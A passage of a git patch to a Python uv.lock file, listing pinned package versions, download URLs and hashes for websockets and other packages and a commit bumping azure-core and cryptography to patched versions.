+sdist = { url = "https://files.pythonhosted.org/packages/6d/bc/4eae18cd40c65798a16267572ba346c11f599d44b01603dbd843342042bc/typing_inspection-0.4.3.tar.gz", hash = "sha256:c5f9ec1530b5c1e2c9bc34a84d9a3466ed1b2f3f2fa9f901368d9c5596210e4d", size = 76711, upload-time = "2026-08-10T09:39:18.063Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/42/f7/7a3935abdebd5cf18705a5f0335dd6a3a18bef3baa7cb9edc3b6b9922cc8/typing_inspection-0.4.3-py3-none-any.whl", hash = "sha256:5f42b23858a91e0b4ef521f5418f03a0da3c9216fd2995ef5e73463100e676cd", size = 14693, upload-time = "2026-08-10T09:39:16.693Z" },
+]
+
+[[package]]
+name = "uc-micro-py"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/78/67/9a363818028526e2d4579334460df777115bdec1bb77c08f9db88f6389f2/uc_micro_py-2.0.0.tar.gz", hash = "sha256:c53691e495c8db60e16ffc4861a35469b0ba0821fe409a8a7a0a71864d33a811", size = 6611, upload-time = "2026-03-01T06:31:27.526Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/61/73/d21edf5b204d1467e06500080a50f79d49ef2b997c79123a536d4a17d97c/uc_micro_py-2.0.0-py3-none-any.whl", hash = "sha256:3603a3859af53e5a39bc7677713c78ea6589ff188d70f4fee165db88e22b242c", size = 6383, upload-time = "2026-03-01T06:31:26.257Z" },
+]
+
+[[package]]
+name = "websockets"
+version = "15.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" },
+ { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" },
+ { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" },
+ { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" },
+ { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" },
+ { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" },
+ { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" },
+ { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" },
+ { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" },
+ { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" },
+ { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" },
+ { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" },
+ { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" },
+ { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" },
+ { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" },
+ { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" },
+ { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" },
+ { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" },
+ { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" },
+ { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" },
+ { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" },
+ { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" },
+ { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" },
+ { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" },
+ { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" },
+]
From b802648bc95fdc761e5447bd5c9d0673a669cbbb Mon Sep 17 00:00:00 2001
From: William Woodruff
Date: Wed, 19 Aug 2026 16:02:14 +0000
Subject: [PATCH 035/341] update vulnerable dependencies (#3676)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
## Additional context & links
---
uv.lock | 149 +++++++++++++++++++++++++++-----------------------------
1 file changed, 72 insertions(+), 77 deletions(-)
diff --git a/uv.lock b/uv.lock
index 8dc2e1a447..5c5336ea00 100644
--- a/uv.lock
+++ b/uv.lock
@@ -243,15 +243,15 @@ wheels = [
[[package]]
name = "azure-core"
-version = "1.36.0"
+version = "1.38.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "requests" },
{ name = "typing-extensions" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/0a/c4/d4ff3bc3ddf155156460bff340bbe9533f99fac54ddea165f35a8619f162/azure_core-1.36.0.tar.gz", hash = "sha256:22e5605e6d0bf1d229726af56d9e92bc37b6e726b141a18be0b4d424131741b7", size = 351139, upload-time = "2025-10-15T00:33:49.083Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/dc/1b/e503e08e755ea94e7d3419c9242315f888fc664211c90d032e40479022bf/azure_core-1.38.0.tar.gz", hash = "sha256:8194d2682245a3e4e3151a667c686464c3786fed7918b394d035bdcd61bb5993", size = 363033, upload-time = "2026-01-12T17:03:05.535Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/b1/3c/b90d5afc2e47c4a45f4bba00f9c3193b0417fad5ad3bb07869f9d12832aa/azure_core-1.36.0-py3-none-any.whl", hash = "sha256:fee9923a3a753e94a259563429f3644aaf05c486d45b1215d098115102d91d3b", size = 213302, upload-time = "2025-10-15T00:33:51.058Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/d8/b8fcba9464f02b121f39de2db2bf57f0b216fe11d014513d666e8634380d/azure_core-1.38.0-py3-none-any.whl", hash = "sha256:ab0c9b2cd71fecb1842d52c965c95285d3cfb38902f6766e4a471f1cd8905335", size = 217825, upload-time = "2026-01-12T17:03:07.291Z" },
]
[[package]]
@@ -484,67 +484,59 @@ wheels = [
[[package]]
name = "cryptography"
-version = "46.0.3"
+version = "50.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cffi", marker = "platform_python_implementation != 'PyPy' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "typing-extensions", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/9f/33/c00162f49c0e2fe8064a62cb92b93e50c74a72bc370ab92f86112b33ff62/cryptography-46.0.3.tar.gz", hash = "sha256:a8b17438104fed022ce745b362294d9ce35b4c2e45c1d958ad4a4b019285f4a1", size = 749258, upload-time = "2025-10-15T23:18:31.74Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/1d/42/9c391dd801d6cf0d561b5890549d4b27bafcc53b39c31a817e69d87c625b/cryptography-46.0.3-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:109d4ddfadf17e8e7779c39f9b18111a09efb969a301a31e987416a0191ed93a", size = 7225004, upload-time = "2025-10-15T23:16:52.239Z" },
- { url = "https://files.pythonhosted.org/packages/1c/67/38769ca6b65f07461eb200e85fc1639b438bdc667be02cf7f2cd6a64601c/cryptography-46.0.3-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:09859af8466b69bc3c27bdf4f5d84a665e0f7ab5088412e9e2ec49758eca5cbc", size = 4296667, upload-time = "2025-10-15T23:16:54.369Z" },
- { url = "https://files.pythonhosted.org/packages/5c/49/498c86566a1d80e978b42f0d702795f69887005548c041636df6ae1ca64c/cryptography-46.0.3-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:01ca9ff2885f3acc98c29f1860552e37f6d7c7d013d7334ff2a9de43a449315d", size = 4450807, upload-time = "2025-10-15T23:16:56.414Z" },
- { url = "https://files.pythonhosted.org/packages/4b/0a/863a3604112174c8624a2ac3c038662d9e59970c7f926acdcfaed8d61142/cryptography-46.0.3-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:6eae65d4c3d33da080cff9c4ab1f711b15c1d9760809dad6ea763f3812d254cb", size = 4299615, upload-time = "2025-10-15T23:16:58.442Z" },
- { url = "https://files.pythonhosted.org/packages/64/02/b73a533f6b64a69f3cd3872acb6ebc12aef924d8d103133bb3ea750dc703/cryptography-46.0.3-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e5bf0ed4490068a2e72ac03d786693adeb909981cc596425d09032d372bcc849", size = 4016800, upload-time = "2025-10-15T23:17:00.378Z" },
- { url = "https://files.pythonhosted.org/packages/25/d5/16e41afbfa450cde85a3b7ec599bebefaef16b5c6ba4ec49a3532336ed72/cryptography-46.0.3-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5ecfccd2329e37e9b7112a888e76d9feca2347f12f37918facbb893d7bb88ee8", size = 4984707, upload-time = "2025-10-15T23:17:01.98Z" },
- { url = "https://files.pythonhosted.org/packages/c9/56/e7e69b427c3878352c2fb9b450bd0e19ed552753491d39d7d0a2f5226d41/cryptography-46.0.3-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a2c0cd47381a3229c403062f764160d57d4d175e022c1df84e168c6251a22eec", size = 4482541, upload-time = "2025-10-15T23:17:04.078Z" },
- { url = "https://files.pythonhosted.org/packages/78/f6/50736d40d97e8483172f1bb6e698895b92a223dba513b0ca6f06b2365339/cryptography-46.0.3-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:549e234ff32571b1f4076ac269fcce7a808d3bf98b76c8dd560e42dbc66d7d91", size = 4299464, upload-time = "2025-10-15T23:17:05.483Z" },
- { url = "https://files.pythonhosted.org/packages/00/de/d8e26b1a855f19d9994a19c702fa2e93b0456beccbcfe437eda00e0701f2/cryptography-46.0.3-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:c0a7bb1a68a5d3471880e264621346c48665b3bf1c3759d682fc0864c540bd9e", size = 4950838, upload-time = "2025-10-15T23:17:07.425Z" },
- { url = "https://files.pythonhosted.org/packages/8f/29/798fc4ec461a1c9e9f735f2fc58741b0daae30688f41b2497dcbc9ed1355/cryptography-46.0.3-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:10b01676fc208c3e6feeb25a8b83d81767e8059e1fe86e1dc62d10a3018fa926", size = 4481596, upload-time = "2025-10-15T23:17:09.343Z" },
- { url = "https://files.pythonhosted.org/packages/15/8d/03cd48b20a573adfff7652b76271078e3045b9f49387920e7f1f631d125e/cryptography-46.0.3-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0abf1ffd6e57c67e92af68330d05760b7b7efb243aab8377e583284dbab72c71", size = 4426782, upload-time = "2025-10-15T23:17:11.22Z" },
- { url = "https://files.pythonhosted.org/packages/fa/b1/ebacbfe53317d55cf33165bda24c86523497a6881f339f9aae5c2e13e57b/cryptography-46.0.3-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a04bee9ab6a4da801eb9b51f1b708a1b5b5c9eb48c03f74198464c66f0d344ac", size = 4698381, upload-time = "2025-10-15T23:17:12.829Z" },
- { url = "https://files.pythonhosted.org/packages/96/92/8a6a9525893325fc057a01f654d7efc2c64b9de90413adcf605a85744ff4/cryptography-46.0.3-cp311-abi3-win32.whl", hash = "sha256:f260d0d41e9b4da1ed1e0f1ce571f97fe370b152ab18778e9e8f67d6af432018", size = 3055988, upload-time = "2025-10-15T23:17:14.65Z" },
- { url = "https://files.pythonhosted.org/packages/7e/bf/80fbf45253ea585a1e492a6a17efcb93467701fa79e71550a430c5e60df0/cryptography-46.0.3-cp311-abi3-win_amd64.whl", hash = "sha256:a9a3008438615669153eb86b26b61e09993921ebdd75385ddd748702c5adfddb", size = 3514451, upload-time = "2025-10-15T23:17:16.142Z" },
- { url = "https://files.pythonhosted.org/packages/2e/af/9b302da4c87b0beb9db4e756386a7c6c5b8003cd0e742277888d352ae91d/cryptography-46.0.3-cp311-abi3-win_arm64.whl", hash = "sha256:5d7f93296ee28f68447397bf5198428c9aeeab45705a55d53a6343455dcb2c3c", size = 2928007, upload-time = "2025-10-15T23:17:18.04Z" },
